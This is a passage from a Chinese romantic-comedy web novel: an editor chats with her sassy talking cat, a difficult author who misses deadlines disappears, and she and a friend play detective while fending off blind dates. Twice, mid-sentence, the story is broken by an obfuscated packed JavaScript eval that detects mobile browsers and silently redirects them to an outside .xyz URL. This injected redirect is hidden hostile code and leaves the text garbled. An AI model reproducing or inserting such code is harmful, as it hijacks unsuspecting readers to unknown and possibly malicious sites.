《我不吃鱼》 3. 一地猫毛 又在开会…… 如果有人发起投票“上班期间最讨厌星期几”，那么乔耳会第一时间毫不犹豫地选择星期三，一个刚好卡在中间，不上不下的日子。 星期一星期二尚且有上一个星期六星期日的快乐余温，星期四好歹还能吃一顿KFC，等熬到星期五，这一个星期也快熬出头了，心里怀揣着一种对周末的向往，自然觉得不大累。 而星期三基本上就是一周中最忙碌的一天，既要给前两天的工作收尾，又要安排好后两天的任务，还要确保自己的工作能够在周末来临之前全部顺利完成，然而这一天还毫无盼头。 不知道是周三的原因，还是夏天太过闷热，又或者是因为昨天请假拔牙导致今天的工作量倍增，压力山大，乔耳敷着降温贴，才稍稍缓解一点牙龈里面的疼痛。 手机“嗡嗡”震动两声，坐在最后面靠墙角位置正发呆的乔耳吓了一跳，她手忙脚乱地将震动模式改成静音，好在声音微小，并没有人听到。 [红烧肉]:人，牙还痛吗？ [红烧肉]:人，今天也加班吗？ [红烧肉]:人，本猫大发慈悲，今天早上在你的小饭盒里放了一株猫薄荷，大概能缓解你的疼痛，这是赏赐，绝不是为了你帮我P图而表示感谢。 【附.一张猫猫叉腰表情包 jpg.】 乔耳先偷瞄了一眼坐在最前面正中间，正在给各部门布置工作的总编苏麦，听了两句见她并没有提及什么关键，这才弹出手机键盘回复。 [一块猫耳酥]:拜托拜托，请你记得，我叫乔耳。 [一块猫耳酥]:一言难尽，大概率要加班。（叹气/） [一块猫耳酥]:猫薄荷？！什么时候放进去的？洗过了吗？是干净的吗？不要自作主张给我下毒哇！！！ [红烧肉]：知道了，人。 [红烧肉]：大胆刁民，那可是本猫精挑细选、反复对比出来的，整个花盆里面长得最好的一株猫薄荷，你居然不领情！生气了，绝不是晚饭多开一个猫罐罐就能哄好的那种。 哟，还挺傲娇。 乔耳暗暗攥拳，这一次，她一定要夺回一家之主的地位，即便这个家里只有一人一猫！ [一块猫耳酥]：什么多开一个猫罐罐，根本没有的事，你别想趁机敲诈！ 趁“对方正在输入”的空隙又补了一句。 [一块猫耳酥]：想都别想！ “对方正在输入”几个字瞬间恢复成了“红烧肉”三个字，对方似乎沉默了良久。 乔耳不知道为什么，竟然感觉后背开始渐渐发凉，这就是包子铲屎官的诅咒吗？ 乔耳重重地叹了一口气。 苏麦停顿了一下，抬起头越过长桌子看了一眼乔耳，于是众人的视线自然而然地顺着方向一道看了过来。 一室的静默，安静到落根针都能听清楚。 此时乔耳一心放在手机屏幕上，还并未有丝毫察觉，坐在她旁边的上班搭子蔡舒蔓连忙借着扶眼镜的动作趁机悄悄碰了碰乔耳的胳膊肘。 苏麦皱了皱眉，“乔耳你有什么问题吗？” 乔耳这才惊然抬起头，一脸茫然地看向苏麦。 两人视线隔空一碰，苏麦就敏锐地看出了乔耳方才并没有在听，但她也并未拆穿，而是给乔耳递了个台阶，“乔耳，陈砚水那边还没有联系你？” 乔耳当即将手机倒扣在膝盖上，极为感激的向苏麦投去一眼，一激动就当众夸下海口：“目前还没有，但这周日之前我一定让他如期交稿，绝不拖延。” 众人你看看我，我看看你，目光又落回到乔耳身上，有人眼里带着赞赏，有人眼里带着惊讶，更有一小部分人眼里带着浓浓的嘲笑之意。 乔耳此话说完，当即就想抽自己两个大嘴巴子，自己下不去手的话叫翠果来也可以，总之实在是该打。 陈砚水是谁，那可是业界出了名难搞的作者，据说此前被他拖稿硬生生拖走的编辑就有六位，其中一位甚至表示自己再也不会从事编辑相关行业，可见伤心至深。 陈砚水拖稿的理由更是五花八门、层出不穷，不过有一点不得不说，不愧是写小说出身，编的理由居然没有一次重复的，怎么不算创新呢？ 仔细算算，从乔耳实习到转正再到现在，刚好八个月的时间，在此期间已经和陈砚水大战过不下百余回合。 陈砚水的拖稿理由已经从装病进化到玄学算卦发现今天不宜码字了，对于他的荒诞行径，整个部门上下都习以为常，并且采取一个无限宽容的应对方案，这也无疑助长了陈砚水的气焰，这不，现在已经开始无理由直接人间蒸发了。 对于乔耳这种累死累活给公司当牛马赚点微薄薪水的选手来说，她几乎根本不能理解陈砚水这种懒癌行为。 她见过陈砚水踩着截稿日期码字，此人明明可以轻轻松松坐在家里码一万字，然后就想干什么就干什么，约等于随随便便就把钱赚到手，为什么偏偏要拖延。 一想到这儿，乔耳觉得自己更悲催了，自己不仅要忍着牙痛来上班，满世界地寻找消失的陈砚水要稿子，下了班还要供奉古代皇帝一样给红烧肉当铲屎官，苍天饶过谁。 苏麦转过头继续讲起了某本书的发售方案。 乔耳也又低下头，悄悄打开了手机。 [红烧肉]：还好本猫足智多谋，早就猜到你会不同意，所以先斩后奏已经开了罐罐。 【附.一张空罐罐的照片 jpg.】 [红烧肉]:看在罐罐的份上，本猫决定暂且原谅你的无礼发言了，下次注意。 [红烧肉]:你也别太悲伤了，人生就是这么残酷，猫生就不是。 【附.一张躺在秋千椅里晒太阳的自拍照片 jpg.】 好恨，看到这乔耳一怒之下怒了一下。 嫉妒令她面目全非。 [一块猫耳酥]:（大哭/）（大哭/）（大哭/） [一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891377|176478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块猫耳酥]:凭什么你可以躺在家里开罐罐，我却要在这找消失的陈砚水啊呜呜呜。 【附.一张玲娜贝儿擦眼泪的表情包 jpg.】 “好了，接下来两天半的时间大家尽快催一下手里的签约作者交稿，还有，审稿的时候要注意一下选题，现在网文市场同质化严重，尽量不要再选千篇一律的年代文和豪门文了……” 苏麦用碳素笔的尾端敲了敲桌面，在纸上飞快地圈圈画画了几下，虽然无纸化普及了这么多年，但她似乎还是习惯有纸化工作。 “其他人没什么事可以散会了，乔耳和蔡舒蔓留一下。” 乔耳背过身刚想打个哈欠离开，叫这一声给硬生生吓回去了，她脖颈僵硬地缓慢转过头，朝菜菜使了个眼色。 ——苍天呐，该不会要安排加班吧。 抱着iPad的菜菜紧张兮兮地推了推眼镜，小幅度地摇了摇头。 ——我也不清楚，只怕危矣！ 其他人陆陆续续离开了会议室，屋子里只剩下苏麦、乔耳和蔡舒蔓三个人。 “坐下说吧。” 苏麦看了一眼乔耳，又低头翻了翻桌上纸张，开口问道:“这两天联系上陈砚水了吗？” 乔耳心头一紧，老老实实答道:“还没呢……电话不接，短信不回，微信拉黑，发出去的邮件也全部石沉大海了……” 苏麦轻“嗯”了一声，似乎并没有感到意外，而把此时当做意料之中的事，这让乔耳暗暗松了一口气。 苏麦冷静分析道:“听说他下一本要开古代公路文，背景选在唐朝了，估计这次拖稿就是出去选路线了，近期留意一下他的微博账号，看看是不是又跑哪个沙漠无人区，打着采集灵感的幌子放飞自我去了。” 碳素笔在两指之间一连转了十余个圈。 苏麦又叮嘱了两句:“找到他之前多阅读一下相关书籍，整理一下唐代的资料，以及一些公路文的行文节奏，知己知彼，最好能想办法把陈砚水这本新书也签下来。” “好。” 乔耳摊开口袋本简单记了一下。 苏麦又朝蔡舒蔓道:“小蔡，你之前接触的‘溏心蛋’老师怎么说？她近期有开新文的打算吗？长短篇均可，大概每篇能给到千80-100左右的价格，后续都可以商量。” 蔡舒蔓道:“苏主编，‘溏心蛋’老师说家里的宝宝马上放暑假了，最近恐怕没有时间写稿。” 苏麦点点头，在纸上轻轻画了三角符号，“没关系，交给我，你负责再去联系一下‘衔蝉’老师，联系方式我晚点发给你，问问她方不方便给我们写个推荐语放网站首页，近期要面向儿童文学，出一个童话主题的短篇征文活动。” 蔡舒蔓又问了两句关于另一个作者的几件事情，苏麦逐一解答一遍，临走之前还问了乔耳一句“这周之内确定能联系上陈砚水吧？” 乔耳硬着头皮点了点头。 这一波纯属自己挖坑把自己埋了。 4.超级侦探 “我觉得陈砚水应该是没离开澄江市。” 乔耳下巴抵着膝盖，团作球状，窝在白熊懒人沙发里，身上披着一张彩虹色的编织空调毯，一手拿着手机，一手举着泡泡玛特的吸管吨吨杯，对着手机屏幕对面的四喜认真地分析着。 “你看啊，从微信运动步数排行榜来看，陈砚水这一周以来的步数记录就没有超过两千的，试问谁会在旅行的时候完全不走路，这不符合常理吧？” 红烧肉翻柯南漫画书的小爪子停顿了一下，从书架后面探出一颗毛茸茸的小脑袋瓜，神情错愕地看了一眼乔耳。 ——这人不愧是柯南的骨灰级粉丝，连人家微信运动步数都扒出来看了？ 屏幕那头的四喜唆了一口辣鸭脖，试图将藏在骨头缝隙离的鸭肉给一一逮出来：“不会吧闺闺，他既然人在澄江，没去旅游，那没道理不回你消息啊。我觉得兴许他是走到哪个无人区导致步数记录不准确了，或者是一直在开车，根本没走路？” 乔耳斩钉截铁地否定了这个猜测。 “不。不止如此，我还看了他的微博、朋友圈，以及一些其他的社交软件，他这些天一条都没有更新，像陈砚水那么话痨的人，怎么可能忍住一言不发？” 无人察觉的小角落里，红烧肉的嘴角抽搐了两下，眼里多了几分幽怨。 “最主要的是他的IP地址也没有变，始终显示还在澄江，总不可能他出门十天连手机都不带吧……” ——什么超级侦探。 ——它真怕下一秒乔耳和四喜就同时举报起手，掌心向下，喊出那句小熊□□和它的朋友们的经典口号：任何时间、任何地点...... 四喜认真地思索了一下：“这倒是个问题。” 乔耳目光空洞，咬住吸管吸了两口柠檬水，哀嚎一声，对着空气猛捶五拳，旋即仰头倒在小熊沙发的怀抱里，默默将小被子拉至头顶，她真想原地去世了。 “可他到底在哪啊——” “明明人在澄江却找不到人。” “明天就是周五了，陈砚水再不出现，我这周就又要双休变单休了。更惨的是，我今天一不小心夸下海口，扬言周日之前一定能拿到陈砚水的稿子，如果到时候两手空空去交差，苏麦姐一定会生吞了我吧……咱们周末还约了椰子鸡呢呜呜。” 好嘛，都这个时候了还惦记椰子鸡呢。 四喜飞速啃完鸭脖，也加入了超级侦探小队，一脸认真道：“你说他会不会是被绑架了啊？” 红烧肉满脸黑线。 四喜虽然也是柯南爱好者，但明显脑洞更大。 乔耳“喔”了一声，居然开始顺着这个思路分析，“绑架吗？那为什么对方没有开出任何交换条件？” 四喜在摄像头前挥了挥手，“闺闺你清醒一点，陈砚水就算是被绑架了，也不可能报你电话号码啊？” 乔耳思索了一下，觉得颇有道理，但想想又觉得不对：“谁会绑架他啊？一个拖延症晚期毒舌男，抓他有什么价值？负责去游戏里和别人激情对喷吗？还是负责去德云社踢馆？” 此话一出，红烧肉登时将书页翻得“哗哗”作响，乔耳还当它是渴了，顺手将小水碗往书架那边推了推，气得红烧肉直翻白眼。 四喜见状提议:“哎，闺闺，你要不要给你家红烧肉买个智能饮水机？” 红烧肉的小耳朵扑棱一下竖了起来。 乔耳叹了口气:“别说智能饮水机了，工资还没到账，眼下我购物车里躺着十几样准备给红烧肉添置的东西，还迟迟没有下单呢。还好拔智齿的时候你让况野给我优惠了，不然我都得吃土了。” “嗡嗡——” 乔耳好似有了应激反应一般，直挺挺地坐起身，“是不是陈砚水回消息了。” 这几天她已经魔怔了，饮食坐卧都时刻带着手机，就连刷牙的几分钟时间里，她都要反反复复点开陈砚水的对话框看上几十遍。 扪心自问，就算是蜜恋期的选手也少有能做到这种程度的吧？怎么不算是爱岗敬业的好公民呢…… 但接下来的消息让这位好公民眼前一黑。 [妈辣烫]你二姨给你介绍了一个男生，32岁，身高可能175左右，长得很有福气，正在考公呢。周末你去见见吗？ 【附.一个烤肉店的地址。】 没待她回复，手机又响了。 [妈辣烫]这都第四个了，再拒绝有点说不过去了，你二姨也是好心，咱们也不好拂了她的面子，要不你就去看看吧，权当工作之余解解闷了。 这算什么解闷？这分明是添堵吧？ 乔耳两眼一黑，险些把手机扔了，“丸子，我二姨又给我找了个相亲对象，我妈让我去见见。” 四喜乐了:“这回又是什么奇葩？” 乔耳照着那条消息念了一遍:“32岁，身高可能175，长得有福气，正在考公。” 四喜精准抓住了突破点:“什么叫身高可能175，根据‘过五减四，低五为零’的原则，可能实际只有171。只说身高不说体重，但长得有福气是什么概念，你明白吧……还有这个正在考公，都32了还没上岸，不就是纯纯一事无成吗……” “道理我都懂，可我能怎么办，我也很绝望啊……”乔耳无奈地耸了耸肩，“而且什么好人相亲选在烤肉店啊，我们要隔着烟熏火燎的一块块腌牛肉了解彼此吗？我觉得相比之下我更愿意了解烤牛肉的蘸料是选择干碟还是酱碟。” 四喜竖起一根手指：“要不你就说你已经在谈了呢？到时候我帮你打掩护。” 乔耳挠挠头，“我朋友圈里的异性除了以前的同学之外，几乎就只剩下同事和我负责的作者们了，我和谁谈去啊。” 四喜灵机一动，“要不你就说和陈砚水在谈吧，正好之前的签售活动你们拍了几张合照，刚好能派上用场。” 乔耳大脑宕机了足足一分钟。 与此同时，红烧肉惊得连毛都竖起来了。 就在这一人一猫沉默的间隙里，四喜飞速地将桌上的鸡骨头收进垃圾桶里，就着这个话题持续输出起来。 “陈砚水不是蛮符合你的理想型吗？” “年纪相当，长得又帅。” “我记得你没入职之前还说过，以后当了编辑，干脆就在作者大大里面给自己物色一个男友回来，怎么现在没动静了。” 四喜擦干净手，顺手点开了微博，找到陈砚水的主页看逐条了起来，“而且陈砚水长得也蛮帅啊，身材又好，又会写小说，才貌双全，找他你不吃亏啊。” 说的跟真事似的。 问过人家陈砚水的意见了吗？ 乔耳：“不好吧，万一被他发现了，我以后还怎么催他交稿？要是被他的狂热书粉知道了，误以为我借工作之便，生不轨之心，还不得给我寄刀片啊？” 四喜：“怕什么，又没让你真和他谈，此事天知地知你知我知，陈砚水和他的书粉们又不知道，咱们只不过是借他名义、拿他照片挡一挡烂桃花罢了，到时候你的七大姑八大姨久也不会给你介绍奇怪的相亲对象了。” 乔耳有点心虚，但内心却也有点动摇。 不得不说四喜说的这个办法的确是一个好办法，若是找个明星的照片拿出去挡桃花，保不齐哪天就被人发现了，到时候不但不能摆脱危机，还会使情况变得更为棘手。 而自己确实一时间也不可能真变出个男友来搪塞回去，除非有人在入室抢劫的时候一不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900192|176478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心忘记蒙面，并且一不小心对她一见钟情了。 那真是太不小心了...... 而且这是二十二楼...... 四喜转发了几张陈砚水之前发在微博上的照片给乔耳：“这几张都不错，干净清爽，看起来就很符合阿姨们心目中好女婿的类型。” 乔耳翻了翻这几张照片，恨恨道：“可他为什么不交稿啊！” 四喜开始一本正经地就胡说八道：“有没有可能陈砚水还没写出来，所以无言面对江东父老了，只能暂且找个地缝钻进去了？” 乔耳将其中一张照片放大了仔细看了看，该说不说，抛开拖稿不谈，陈砚水确实是有几分姿色，鼻子是鼻子，眼睛是眼睛的。 听见四喜的话，乔耳当即否定道：“绝无此种可能，你不了解陈砚水，一个星期都过去了，以陈砚水的实力水平，存稿没有二十万字，最起码也得有十五万字了。” 四喜反驳道：“写作不是很吃灵感的吗？他就不存在灵感枯竭的情况吗？” 不安分的大脚趾在空调毯的空隙里反反复复地穿梭，脚趾上亮色的指甲油在长弧形的落地灯下闪闪发光，乔耳托着腮一脸惆怅，“不会啦，他天马行空的脑洞很多的，而且就算是灵感枯竭了也可以和我说啊，干嘛要玩消失呢？我又不是什么压榨作者的邪恶编辑。” 四喜安慰道：“不慌不慌，明天周五，还有一天时间，说不定明天陈砚水就良心发现，准时准点地将稿子发到你的邮箱里了呢。” 乔耳对着屏幕做了个好汉抱拳的手势：“借你吉言、借你吉言。” 四喜站起身走了几步，将手机放在了洗漱台上，开始放温水洗脸，乔耳的屏幕上就自然而然地只剩下一团晕开的灯影。 “哗哗”的流水声中，四喜长长地叹了口气，“咱俩真是难兄难弟，我明天要到周边村落出采访，领导刚刚通知我早上提前一个小时到电视台门口集合，真服了。” 乔耳也站起身神伸懒腰，舒展了一下筋骨，“早点休息吧，再坚持一天就周末了。” “OKOK。” “嘟嘟”两声，视频电话挂了。 手机屏幕自动切回到聊天页面，乔耳对着屏幕愣了一瞬，鬼使神差地重新看了一下刚才四喜发给她的几张陈砚水的照片。 第一张照片上，陈砚水穿着冲锋衣，顶着徒步遮阳帽，拿着两根登山杖站在某个山顶。背景是旭日初升之际，一点如同火漆烫印留下的红日出山的景象。大抵是时间尚早，后面的山间还带着点朦朦胧胧的雾气，一旁的迎客松上依稀挂着点点晶莹的露水。 喜欢爬山吗？说明体力不错哎...... 第二张照片是陈砚水站在一树杜鹃花下，遮挡构图的缘故导致他只露出左半张脸，称得下颌线弧度格外清晰流畅，刀刻斧凿、精心打磨过似的。 还挺懂构图的，拍照技术蛮好哈...... 指尖左滑，切到第三张照片，是一张陈砚水的自拍照。 乔耳愣了一下，旋即两指一拉，放大了照片。这张她是知道的，是大概三个月前，陈砚水开新书签售会的时候拍的，背景虽然被虚化了，但那张海报是她筛选了二十几张之后敲定的，绝不会错。 只是...... 乔耳又凑近了仔细看看，陈砚水的脸以一个奇怪的角度位于照片的右侧，左侧没有人，后面是上端贴着海报的一面白墙，白墙上除了拓着陈砚水的影子之外，还有一个模糊不清的影子，看起来小小一只，似乎梳着个极其简易的低丸子头，一看手法就和乔耳一样生疏。 乔耳的心弦颤动了一下。 她有一个大胆的猜测。 陈砚水该不会是…… 恋爱了吧！